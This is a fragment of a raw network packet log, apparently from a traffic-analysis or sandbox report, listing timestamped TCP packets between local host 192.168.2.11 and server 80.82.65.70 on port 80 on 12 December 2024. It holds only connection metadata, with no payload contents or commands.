                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.468054056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.468107939 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.468225956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.468336105 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.468935013 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.468991041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.469017029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.469099998 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.469654083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.469697952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.469717979 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.469755888 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.470447063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.470544100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.470624924 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.470671892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.471194983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.471267939 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.471333981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.471477985 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.472008944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.472070932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.472179890 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.472745895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.472835064 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.472867012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.472933054 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.473510981 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.473583937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.473654985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.473802090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.474313974 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.474420071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.474425077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.474507093 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.475069046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.475116968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.475167036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.475958109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.476057053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.476110935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.476643085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.476691961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.476710081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.476756096 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.477423906 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.477475882 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.477566957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.477706909 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.478224993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.478277922 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.478343010 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.478389978 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.542565107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.542699099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.542814970 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.542900085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.543025017 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.543114901 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.543574095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.543732882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.543795109 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.544328928 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.544559956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.544615984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.545056105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.545222998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.545242071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.545275927 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.545968056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.546103954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.546109915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.546204090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.546725035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.546787024 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.546861887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.547178030 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.547399044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.547452927 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.547492027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.547554970 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.548177004 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.548230886 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.548260927 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.548434973 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.549009085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.549066067 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.549093008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.549145937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.549756050 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.549860954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.549910069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.550537109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.550703049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.550760984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.551309109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.551378965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.551424026 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.551496983 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.552145958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.552206039 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.552388906 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.552553892 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.552886963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.552952051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.552975893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.553024054 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.553677082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.553808928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.553812027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.553873062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.554434061 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.554493904 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.554564953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.554698944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.555221081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.555321932 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.555351973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.555419922 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.558844090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.558857918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.558864117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.558870077 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.558886051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.558892012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.558897972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.558904886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.558914900 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.558948994 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.558990002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.559153080 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.559209108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.559246063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.559408903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.559988976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.560059071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.560079098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.560107946 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.560717106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.560833931 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.560872078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.560930014 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.561512947 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.561660051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.561718941 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.562305927 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.562489986 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.562545061 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.563352108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.563401937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.563437939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.563956022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.563971043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.564003944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.564037085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.564683914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.564774036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.564825058 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.565382004 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.566494942 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.619172096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.619405985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.619620085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.619761944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.619761944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.619805098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.620496988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.620593071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.620659113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.621017933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.622389078 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.655811071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.655894995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.655967951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.656023026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.656275988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.656330109 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.656347036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.656395912 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.656994104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.657047033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.657047987 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.657090902 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.657726049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.657783985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.657787085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.658005953 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.658535957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.658590078 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.658608913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.658669949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.659324884 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.659370899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.659396887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.659476995 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.660152912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.660209894 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.660289049 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.660376072 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.660888910 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.660933971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.660948992 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.661058903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.661644936 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.661725044 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.661762953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.661818027 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.662431002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.662497044 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.662523031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.662573099 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.663220882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.663284063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.663333893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.663988113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.664093971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.664144993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.664779902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.664838076 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.664849997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.665580034 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.665637970 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.665673971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.666359901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.666414022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.666441917 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.666495085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.667162895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.667212963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.667258024 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.667922020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.667973042 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.667989969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.668035984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.668735027 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.668785095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.668796062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.668827057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.669503927 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.669600010 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.669610023 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.669645071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.670308113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.670348883 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.670361996 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.670416117 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.734834909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.734985113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.735105991 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.735126972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.735343933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.735407114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.735994101 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.736124039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.736232996 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.736712933 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.736812115 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.736916065 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.737528086 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.737610102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.737658978 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.738251925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.738312960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.738343954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.738439083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.739067078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.739113092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.739172935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.739804029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.739886045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.739943981 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.740622997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.740686893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.740699053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:04.740784883 CET4981980192.168.2.1180.82.65.70
